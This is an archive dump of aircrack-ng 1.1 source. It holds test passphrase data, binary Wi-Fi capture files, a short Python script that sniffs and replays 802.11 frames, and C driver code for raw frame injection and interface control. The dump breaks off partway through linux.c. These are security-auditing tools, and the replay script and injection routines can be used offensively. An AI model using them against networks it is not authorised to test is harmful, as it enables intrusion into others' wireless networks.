aircrack-ng-1.1/0000755000000000000000000000000011364675653012252 5ustar rootrootaircrack-ng-1.1/test/0000755000000000000000000000000011364675641013226 5ustar rootrootaircrack-ng-1.1/test/passphrases.db0000644000000000000000000003400011044352764016057 0ustar rootrootSQLite format 3@     test@ Harkonen@ pmk workbench passwd essid  12345678 biscotte \\'LrzJɳLrC-O3Qʱ[lRR/p'LךZϰp;90/17ZUU$'LQ7s :7')" sys.exit(1) interface=sys.argv[1] max_bytes = 2048 promiscuous = False read_timeout = 100 # in milliseconds packet_limit = -1 # infinite pc = pcapy.open_live(interface, max_bytes, promiscuous, read_timeout) def recv_pkts(hdr, data): replay = True if data[11] == "\xFF": return # separate ethernet header and ieee80211 packet raw_header = data[:11] + "\xFF" + data[12:14] header = Ether(raw_header) packet = Dot11(data[14:]) # end of separation # manipulate/drop/insert dot11 packet print packet.summary() # end of manipulation # construct packet and replay if replay == True: data = header/packet sendp(data, iface=interface) pc.loop(packet_limit, recv_pkts) # capture packets aircrack-ng-1.1/test/wep.shared.key.authentication.cap0000644000000000000000000000156010761053203021542 0ustar rootrootòi&EԎUUl~@l~@=2dteddy 0H *2$`l ,E:l~@l~@`,E، ,E˘:l~@l~@@B  ;:8?=<21764+*(/-,"!'&,E l~@,EH:l~@l~@p1whg'_k x ]LOxІWBB"߈b&Iҧ>+:, %&£/ .K/?wGNS3a~&*)x0VG=I3z"RӽCH6N-,Eΰ ,EѶ:l~@l~@`B,EX l~@,E`77:l~@l~@1dteddy $!%20H`l,Ed ,Eh<<:l~@l~@pB 0H2$`l ,Ej l~@aircrack-ng-1.1/test/wpa.cap0000644000000000000000000000624410761053203014470 0ustar rootrootòwbBM Dath0D6dDyDDD9DD D v 밌 밌Pdtest*/2 $0H`lPPPP6 bB:[ Dath0D6dDyDDD=DD D  [S] 밌 밌`_ TDmB=D6J"AU"UqSyG bB\ Dath0D6dDyDDD&DD D  밌LiGbB5f //Dath0D6dDyDDD%DD D  밌 [S] 밌9w _ [T#_5`g FmI:Z󌃇(ȕr'4EPPPPbBg Dath0D6dDyDDD>DD D  [S]\bBRq //Dath0D6dD1yDDD8DD D  [S] 밌 밌pw TDmB=D6J"AU"UqSyG R'?s|Ei\0x`PPPPǜbB(r Dath0D6dD yDDD'DD D  밌LiGbBu Dath0D6dD yDDD'DD D  밌 [S] 밌 9_ _ [T#_5`g FmI:Z󌃇0=̏%sSH Rc=ԪbBv Dath0D6dDs yDDD>DD D  [S]\bBz KKDath0D6dDyDDD=DD D B [S] 밌 밌  Fŭ/ ĺm@oQ7+=<8|h;GCY*55/@x@,d:4XpJ+R꥚f@74\irkN(ҡ@!9/PbߴNu≇Np:n-zAO%λՓֿA&#bB{ Dath0D6dDpyDDD&DD D  밌LiGbB ++Dath0D6dDyDDD'DD D A 밌 [S] 밌09  C#0A۽x9jS}^YKw\oΙH3T-Z9'荣6ܝRN'_{^ #h[Qf8O1iʧ7s=sAlbB؀ Dath0D6dDyDDD<DD D  [S]\aircrack-ng-1.1/test/wpa2.eapol.cap0000644000000000000000000000144210761053203015644 0ustar rootrootòiޖsDͰ ``l~@l~@a1Harkonen 0H*2$`l0sD :F2 l~@l~@ _"XTDMI+)L'L2hVMUsD.,l~@F2 l~@0u Yåd#@ņY{7dޅp5SܯͯVN0sD<:F2 l~@l~@`"XTDMI+)L'L2hVMU. =^"7"r0qOhWF8<Tb줫ӣL v7ƀ*ӿE/|_ӈUx~ksDh,l~@F2 l~@@_ )d Cc5aircrack-ng-1.1/test/Chinese-SSID-Name.pcap0000644000000000000000000000043711352453512017057 0ustar rootrootòiQK$$ Id1 $20H`l3 3! *- =P'BC^b2/ zL3 L4 Caircrack-ng-1.1/test/wep.open.system.authentication.cap0000644000000000000000000000066310761053203021774 0ustar rootrootòiEl HHl~@l~@ ρdteddy  Ep:l~@˝l~@`Eq ˝Eq:˝l~@l~@`Eo  l~@Ep --:l~@˝l~@p1dteddy!&Ek ˝Ep22:˝l~@l~@p Ep l~@aircrack-ng-1.1/src/0000755000000000000000000000000011364675641013036 5ustar rootrootaircrack-ng-1.1/src/osdep/0000755000000000000000000000000011364675641014150 5ustar rootrootaircrack-ng-1.1/src/osdep/tap-win32/0000755000000000000000000000000011364675641015674 5ustar rootrootaircrack-ng-1.1/src/osdep/tap-win32/common.h0000644000000000000000000000641510761053203017323 0ustar rootroot/* * TAP-Win32 -- A kernel driver to provide virtual tap device functionality * on Windows. Originally derived from the CIPE-Win32 * project by Damion K. Wilson, with extensive modifications by * James Yonan. * * All source code which derives from the CIPE-Win32 project is * Copyright (C) Damion K. Wilson, 2003, and is released under the * GPL version 2 (see below). * * All other source code is Copyright (C) 2002-2005 OpenVPN Solutions LLC, * and is released under the GPL version 2 (see below). * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program (see the file COPYING included with this * distribution); if not, write to the Free Software Foundation, Inc., * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ //=============================================== // This file is included both by OpenVPN and // the TAP-Win32 driver and contains definitions // common to both. //=============================================== //============= // TAP IOCTLs //============= #define TAP_CONTROL_CODE(request,method) \ CTL_CODE (FILE_DEVICE_UNKNOWN, request, method, FILE_ANY_ACCESS) // Present in 8.1 #define TAP_IOCTL_GET_MAC TAP_CONTROL_CODE (1, METHOD_BUFFERED) #define TAP_IOCTL_GET_VERSION TAP_CONTROL_CODE (2, METHOD_BUFFERED) #define TAP_IOCTL_GET_MTU TAP_CONTROL_CODE (3, METHOD_BUFFERED) #define TAP_IOCTL_GET_INFO TAP_CONTROL_CODE (4, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_POINT_TO_POINT TAP_CONTROL_CODE (5, METHOD_BUFFERED) #define TAP_IOCTL_SET_MEDIA_STATUS TAP_CONTROL_CODE (6, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_DHCP_MASQ TAP_CONTROL_CODE (7, METHOD_BUFFERED) #define TAP_IOCTL_GET_LOG_LINE TAP_CONTROL_CODE (8, METHOD_BUFFERED) #define TAP_IOCTL_CONFIG_DHCP_SET_OPT TAP_CONTROL_CODE (9, METHOD_BUFFERED) // Added in 8.2 /* obsoletes TAP_IOCTL_CONFIG_POINT_TO_POINT */ #define TAP_IOCTL_CONFIG_TUN TAP_CONTROL_CODE (10, METHOD_BUFFERED) //================= // Registry keys //================= #define ADAPTER_KEY "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" #define NETWORK_CONNECTIONS_KEY "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}" //====================== // Filesystem prefixes //====================== #define USERMODEDEVICEDIR "\\\\.\\Global\\" #define SYSDEVICEDIR "\\Device\\" #define USERDEVICEDIR "\\DosDevices\\Global\\" #define TAPSUFFIX ".tap" //========================================================= // TAP_COMPONENT_ID -- This string defines the TAP driver // type -- different component IDs can reside in the system // simultaneously. //========================================================= #define TAP_COMPONENT_ID "tap0801" aircrack-ng-1.1/src/osdep/openbsd_tap.c0000644000000000000000000001120310761053203016567 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for OpenBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_obsd { int to_fd; int to_ioctls; struct ifreq to_ifr; char to_name[MAX_IFACE_NAME]; int to_destroy; }; static int ti_do_open_obsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_obsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->to_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->to_name, sizeof(priv->to_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->to_ioctls = s; /* get flags */ ifr = &priv->to_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->to_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = ifr->ifr_flags; /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_obsd *priv) { ioctl(priv->to_ioctls, SIOCIFDESTROY, &priv->to_ifr); } static void ti_close_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); if (priv->to_destroy) ti_destroy(priv); close(priv->to_fd); close(priv->to_ioctls); ti_do_free(ti); } static char *ti_name_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); return priv->to_name; } static int ti_set_mtu_obsd(struct tif *ti, int mtu) { struct tip_obsd *priv = ti_priv(ti); priv->to_ifr.ifr_mtu = mtu; return ioctl(priv->to_ioctls, SIOCSIFMTU, &priv->to_ifr); } static int ti_set_mac_obsd(struct tif *ti, unsigned char *mac) { struct tip_obsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->to_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->to_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_obsd(struct tif *ti, struct in_addr *ip) { struct tip_obsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strncpy(ifra.ifra_name, priv->to_ifr.ifr_name, IFNAMSIZ); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->to_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); return priv->to_fd; } static int ti_read_obsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_obsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_obsd(char *iface) { struct tif *ti; struct tip_obsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_obsd; ti->ti_set_mtu = ti_set_mtu_obsd; ti->ti_close = ti_close_obsd; ti->ti_fd = ti_fd_obsd; ti->ti_read = ti_read_obsd; ti->ti_write = ti_write_obsd; ti->ti_set_mac = ti_set_mac_obsd; ti->ti_set_ip = ti_set_ip_obsd; /* setup iface */ fd = ti_do_open_obsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->to_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_obsd(iface); } aircrack-ng-1.1/src/osdep/network.h0000644000000000000000000000136711212332736016004 0ustar rootroot/*- * Copyright (c) 2007, 2008, Andrea Bittau * * Networking structures. * */ #ifndef __AIRCRACK_NG_OSDEP_NETWORK_H__ #define __AIRCRACK_NG_OSDEP_NETWORK_H__ #include #include #include "osdep.h" enum { NET_RC = 1, NET_GET_CHAN, NET_SET_CHAN, NET_WRITE, NET_PACKET, /* 5 */ NET_GET_MAC, NET_MAC, NET_GET_MONITOR, NET_GET_RATE, NET_SET_RATE, }; struct net_hdr { uint8_t nh_type; uint32_t nh_len; uint8_t nh_data[0]; } __packed; extern struct wif *net_open(char *iface); extern int net_send(int s, int command, void *arg, int len); extern int net_read_exact(int s, void *arg, int len); extern int net_get(int s, void *arg, int *len); #endif /* __AIRCRACK_NG_OSEDEP_NETWORK_H__ */ aircrack-ng-1.1/src/osdep/linux.c0000644000000000000000000015651111232462170015445 0ustar rootroot/* * OS dependent APIs for Linux * * Copyright (C) 2006, 2007, 2008 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "radiotap/radiotap-parser.h" /* radiotap-parser defines types like u8 that * ieee80211_radiotap.h needs * * we use our local copy of ieee80211_radiotap.h * * - since we can't support extensions we don't understand * - since linux does not include it in userspace headers */ #include "radiotap/ieee80211_radiotap.h" #include "osdep.h" #include "pcap.h" #include "crctable_osdep.h" #include "common.h" #include "byteorder.h" #define uchar unsigned char typedef enum { DT_NULL = 0, DT_WLANNG, DT_HOSTAP, DT_MADWIFI, DT_MADWIFING, DT_BCM43XX, DT_ORINOCO, DT_ZD1211RW, DT_ACX, DT_MAC80211_RT, DT_AT76USB, DT_IPW2200 } DRIVER_TYPE; static const char * szaDriverTypes[] = { [DT_NULL] = "Unknown", [DT_WLANNG] = "Wlan-NG", [DT_HOSTAP] = "HostAP", [DT_MADWIFI] = "Madwifi", [DT_MADWIFING] = "Madwifi-NG", [DT_BCM43XX] = "BCM43xx", [DT_ORINOCO] = "Orinoco", [DT_ZD1211RW] = "ZD1211RW", [DT_ACX] = "ACX", [DT_MAC80211_RT] = "Mac80211-Radiotap", [DT_AT76USB] = "Atmel 76_usb", [DT_IPW2200] = "ipw2200" }; /* * XXX need to have a different read/write/open function for each Linux driver. */ struct priv_linux { int fd_in, arptype_in; int fd_out, arptype_out; int fd_main; int fd_rtc; DRIVER_TYPE drivertype; /* inited to DT_UNKNOWN on allocation by wi_alloc */ FILE *f_cap_in; struct pcap_file_header pfh_in; int sysfs_inject; int channel; int freq; int rate; int tx_power; char *wlanctlng; /* XXX never set */ char *iwpriv; char *iwconfig; char *ifconfig; char *wl; char *main_if; unsigned char pl_mac[6]; int inject_wlanng; }; #ifndef ETH_P_80211_RAW #define ETH_P_80211_RAW 25 #endif #define ARPHRD_IEEE80211 801 #define ARPHRD_IEEE80211_PRISM 802 #define ARPHRD_IEEE80211_FULL 803 #ifndef NULL_MAC #define NULL_MAC "\x00\x00\x00\x00\x00\x00" #endif unsigned long calc_crc_osdep( unsigned char * buf, int len) { unsigned long crc = 0xFFFFFFFF; for( ; len > 0; len--, buf++ ) crc = crc_tbl_osdep[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( ~crc ); } /* CRC checksum verification routine */ int check_crc_buf_osdep( unsigned char *buf, int len ) { unsigned long crc; if (len<0) return 0; crc = calc_crc_osdep(buf, len); buf+=len; return( ( ( crc ) & 0xFF ) == buf[0] && ( ( crc >> 8 ) & 0xFF ) == buf[1] && ( ( crc >> 16 ) & 0xFF ) == buf[2] && ( ( crc >> 24 ) & 0xFF ) == buf[3] ); } //Check if the driver is ndiswrapper */ static int is_ndiswrapper(const char * iface, const char * path) { int n, pid, unused; if ((pid=fork())==0) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl(path, "iwpriv",iface, "ndis_reset", NULL); exit( 1 ); } waitpid( pid, &n, 0 ); return ( ( WIFEXITED(n) && WEXITSTATUS(n) == 0 )); } /* Search a file recursively */ static char * searchInside(const char * dir, const char * filename) { char * ret; char * curfile; struct stat sb; int len, lentot; DIR *dp; struct dirent *ep; dp = opendir(dir); if (dp == NULL) { return NULL; } len = strlen( filename ); lentot = strlen( dir ) + 256 + 2; curfile = (char *) calloc( 1, lentot ); while ((ep = readdir(dp)) != NULL) { memset(curfile, 0, lentot); sprintf(curfile, "%s/%s", dir, ep->d_name); //Checking if it's the good file if ((int)strlen( ep->d_name) == len && !strcmp(ep->d_name, filename)) { (void)closedir(dp); return curfile; } lstat(curfile, &sb); //If it's a directory and not a link, try to go inside to search if (S_ISDIR(sb.st_mode) && !S_ISLNK(sb.st_mode)) { //Check if the directory isn't "." or ".." if (strcmp(".", ep->d_name) && strcmp("..", ep->d_name)) { //Recursive call ret = searchInside(curfile, filename); if (ret != NULL) { (void)closedir(dp); free( curfile ); return ret; } } } } (void)closedir(dp); free( curfile ); return NULL; } /* Search a wireless tool and return its path */ static char * wiToolsPath(const char * tool) { char * path; int i, nbelems; static const char * paths [] = { "/sbin", "/usr/sbin", "/usr/local/sbin", "/bin", "/usr/bin", "/usr/local/bin", "/tmp" }; nbelems = sizeof(paths) / sizeof(char *); for (i = 0; i < nbelems; i++) { path = searchInside(paths[i], tool); if (path != NULL) return path; } return NULL; } static int linux_get_channel(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; int fd, frequency; int chan=0; memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); fd = dev->fd_in; if(dev->drivertype == DT_IPW2200) fd = dev->fd_main; if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 ) return( -1 ); frequency = wrq.u.freq.m; if (frequency > 100000000) frequency/=100000; else if (frequency > 1000000) frequency/=1000; if (frequency > 1000) chan = getChannelFromFrequency(frequency); else chan = frequency; return chan; } static int linux_get_freq(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; int fd, frequency; memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); fd = dev->fd_in; if(dev->drivertype == DT_IPW2200) fd = dev->fd_main; if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 ) return( -1 ); frequency = wrq.u.freq.m; if (frequency > 100000000) frequency/=100000; else if (frequency > 1000000) frequency/=1000; if (frequency < 500) //its not a freq, but the actual channel frequency = getFrequencyFromChannel(frequency); return frequency; } static int linux_set_rate(struct wif *wi, int rate) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; struct iwreq wrq; char s[32]; int pid, status, unused; memset(s, 0, sizeof(s)); switch(dev->drivertype) { case DT_MADWIFING: memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( dev->fd_in, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } /* Bring interface down*/ ifr.ifr_flags = 0; if( ioctl( dev->fd_in, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } usleep(100000); snprintf( s, sizeof( s ) - 1, "%.1fM", (rate/1000000.0) ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "rate", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); return 0; break; case DT_MAC80211_RT: dev->rate = (rate/500000); return 0; break; default: break; } /* ELSE */ memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.u.bitrate.value = rate; if( ioctl( dev->fd_in, SIOCSIWRATE, &wrq ) < 0 ) { return( -1 ); } return 0; } static int linux_get_rate(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; memset( &wrq, 0, sizeof( struct iwreq ) ); if( dev->drivertype == DT_MAC80211_RT ) return (dev->rate*500000); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); if( ioctl( dev->fd_in, SIOCGIWRATE, &wrq ) < 0 ) { return( -1 ); } return wrq.u.bitrate.value; } static int linux_set_mtu(struct wif *wi, int mtu) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; memset( &ifr, 0, sizeof( struct ifreq ) ); if(dev->main_if) strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 ); else strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); ifr.ifr_mtu = mtu; if( ioctl( dev->fd_in, SIOCSIFMTU, &ifr ) < 0 ) { return( -1 ); } return 0; } static int linux_get_mtu(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; memset( &ifr, 0, sizeof( struct ifreq ) ); if(dev->main_if) strncpy( ifr.ifr_name, dev->main_if, sizeof( ifr.ifr_name ) - 1 ); else strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( dev->fd_in, SIOCGIFMTU, &ifr ) < 0 ) { return( -1 ); } return ifr.ifr_mtu; } static int linux_read(struct wif *wi, unsigned char *buf, int count, struct rx_info *ri) { struct priv_linux *dev = wi_priv(wi); unsigned char tmpbuf[4096]; int caplen, n, got_signal, got_noise, got_channel, fcs_removed; caplen = n = got_signal = got_noise = got_channel = fcs_removed = 0; if((unsigned)count > sizeof(tmpbuf)) return( -1 ); if( ( caplen = read( dev->fd_in, tmpbuf, count ) ) < 0 ) { if( errno == EAGAIN ) return( 0 ); perror( "read failed" ); return( -1 ); } switch (dev->drivertype) { case DT_MADWIFI: caplen -= 4; /* remove the FCS for madwifi-old! only (not -ng)*/ break; default: break; } memset( buf, 0, sizeof( buf ) ); /* XXX */ if (ri) memset(ri, 0, sizeof(*ri)); if( dev->arptype_in == ARPHRD_IEEE80211_PRISM ) { /* skip the prism header */ if( tmpbuf[7] == 0x40 ) { /* prism54 uses a different format */ if(ri) { ri->ri_power = tmpbuf[0x33]; ri->ri_noise = *(unsigned int *)( tmpbuf + 0x33 + 12 ); ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x33 + 24 ))*500000; got_signal = 1; got_noise = 1; } n = 0x40; } else { if(ri) { ri->ri_mactime = *(u_int64_t*)( tmpbuf + 0x5C - 48 ); ri->ri_channel = *(unsigned int *)( tmpbuf + 0x5C - 36 ); ri->ri_power = *(unsigned int *)( tmpbuf + 0x5C ); ri->ri_noise = *(unsigned int *)( tmpbuf + 0x5C + 12 ); ri->ri_rate = (*(unsigned int *)( tmpbuf + 0x5C + 24 ))*500000; // if( ! memcmp( iface[i], "ath", 3 ) ) if( dev->drivertype == DT_MADWIFI ) ri->ri_power -= *(int *)( tmpbuf + 0x68 ); if( dev->drivertype == DT_MADWIFING ) ri->ri_power -= *(int *)( tmpbuf + 0x68 ); got_channel = 1; got_signal = 1; got_noise = 1; } n = *(int *)( tmpbuf + 4 ); } if( n < 8 || n >= caplen ) return( 0 ); } if( dev->arptype_in == ARPHRD_IEEE80211_FULL ) { struct ieee80211_radiotap_iterator iterator; struct ieee80211_radiotap_header *rthdr; rthdr = (struct ieee80211_radiotap_header *) tmpbuf; if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen) < 0) return (0); /* go through the radiotap arguments we have been given * by the driver */ while (ri && (ieee80211_radiotap_iterator_next(&iterator) >= 0)) { switch (iterator.this_arg_index) { case IEEE80211_RADIOTAP_TSFT: ri->ri_mactime = le64_to_cpu(*((uint64_t*)iterator.this_arg)); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: if(!got_signal) { if( *iterator.this_arg < 127 ) ri->ri_power = *iterator.this_arg; else ri->ri_power = *iterator.this_arg - 255; got_signal = 1; } break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: if(!got_signal) { if( *iterator.this_arg < 127 ) ri->ri_power = *iterator.this_arg; else ri->ri_power = *iterator.this_arg - 255; got_signal = 1; } break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: if(!got_noise) { if( *iterator.this_arg < 127 ) ri->ri_noise = *iterator.this_arg; else ri->ri_noise = *iterator.this_arg - 255; got_noise = 1; } break; case IEEE80211_RADIOTAP_DB_ANTNOISE: if(!got_noise) { if( *iterator.this_arg < 127 ) ri->ri_noise = *iterator.this_arg; else ri->ri_noise = *iterator.this_arg - 255; got_noise = 1; } break; case IEEE80211_RADIOTAP_ANTENNA: ri->ri_antenna = *iterator.this_arg; break; case IEEE80211_RADIOTAP_CHANNEL: ri->ri_channel = *iterator.this_arg; got_channel = 1; break; case IEEE80211_RADIOTAP_RATE: ri->ri_rate = (*iterator.this_arg) * 500000; break; case IEEE80211_RADIOTAP_FLAGS: /* is the CRC visible at the end? * remove */ if ( *iterator.this_arg & IEEE80211_RADIOTAP_F_FCS ) { fcs_removed = 1; caplen -= 4; } if ( *iterator.this_arg & IEEE80211_RADIOTAP_F_RX_BADFCS ) return( 0 ); break; } } n = le16_to_cpu(rthdr->it_len); if( n <= 0 || n >= caplen ) return( 0 ); } caplen -= n; //detect fcs at the end, even if the flag wasn't set and remove it if( fcs_removed == 0 && check_crc_buf_osdep( tmpbuf+n, caplen - 4 ) == 1 ) { caplen -= 4; } memcpy( buf, tmpbuf + n, caplen ); if(ri && !got_channel) ri->ri_channel = wi_get_channel(wi); return( caplen ); } static int linux_write(struct wif *wi, unsigned char *buf, int count, struct tx_info *ti) { struct priv_linux *dev = wi_priv(wi); unsigned char maddr[6]; int ret, usedrtap=0; unsigned char tmpbuf[4096]; unsigned char rate; unsigned short int *p_rtlen; unsigned char u8aRadiotap[] = { 0x00, 0x00, // <-- radiotap version 0x0c, 0x00, // <- radiotap header length 0x04, 0x80, 0x00, 0x00, // <-- bitmap 0x00, // <-- rate 0x00, // <-- padding for natural alignment 0x18, 0x00, // <-- TX flags }; /* Pointer to the radiotap header length field for later use. */ p_rtlen = (unsigned short int*)(u8aRadiotap+2); if((unsigned) count > sizeof(tmpbuf)-22) return -1; /* XXX honor ti */ if (ti) {} rate = dev->rate; u8aRadiotap[8] = rate; switch (dev->drivertype) { case DT_MAC80211_RT: memcpy(tmpbuf, u8aRadiotap, sizeof (u8aRadiotap) ); memcpy(tmpbuf + sizeof (u8aRadiotap), buf, count); count += sizeof (u8aRadiotap); buf = tmpbuf; usedrtap = 1; break; case DT_WLANNG: /* Wlan-ng isn't able to inject on kernel > 2.6.11 */ if( dev->inject_wlanng == 0 ) { perror( "write failed" ); return( -1 ); } if (count >= 24) { /* for some reason, wlan-ng requires a special header */ if( ( ((unsigned char *) buf)[1] & 3 ) != 3 ) { memcpy( tmpbuf, buf, 24 ); memset( tmpbuf + 24, 0, 22 ); tmpbuf[30] = ( count - 24 ) & 0xFF; tmpbuf[31] = ( count - 24 ) >> 8; memcpy( tmpbuf + 46, buf + 24, count - 24 ); count += 22; } else { memcpy( tmpbuf, buf, 30 ); memset( tmpbuf + 30, 0, 16 ); tmpbuf[30] = ( count - 30 ) & 0xFF; tmpbuf[31] = ( count - 30 ) >> 8; memcpy( tmpbuf + 46, buf + 30, count - 30 ); count += 16; } buf = tmpbuf; } /* fall thru */ case DT_HOSTAP: if( ( ((uchar *) buf)[1] & 3 ) == 2 ) { /* Prism2 firmware swaps the dmac and smac in FromDS packets */ memcpy( maddr, buf + 4, 6 ); memcpy( buf + 4, buf + 16, 6 ); memcpy( buf + 16, maddr, 6 ); } break; default: break; } ret = write( dev->fd_out, buf, count ); if( ret < 0 ) { if( errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS || errno == ENOMEM ) { usleep( 10000 ); return( 0 ); } perror( "write failed" ); return( -1 ); } /* radiotap header length is stored little endian on all systems */ if(usedrtap) ret-=letoh16(*p_rtlen); if( ret < 0 ) { if( errno == EAGAIN || errno == EWOULDBLOCK || errno == ENOBUFS || errno == ENOMEM ) { usleep( 10000 ); return( 0 ); } perror( "write failed" ); return( -1 ); } return( ret ); } static int linux_set_channel(struct wif *wi, int channel) { struct priv_linux *dev = wi_priv(wi); char s[32]; int pid, status, unused; struct iwreq wrq; memset( s, 0, sizeof( s ) ); switch (dev->drivertype) { case DT_WLANNG: snprintf( s, sizeof( s ) - 1, "channel=%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", wi_get_ifname(wi), "lnxreq_wlansniff", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) { dev->channel=channel; return( WEXITSTATUS(status) ); } else return( 1 ); break; case DT_ORINOCO: snprintf( s, sizeof( s ) - 1, "%d", channel ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", wi_get_ifname(wi), "monitor", 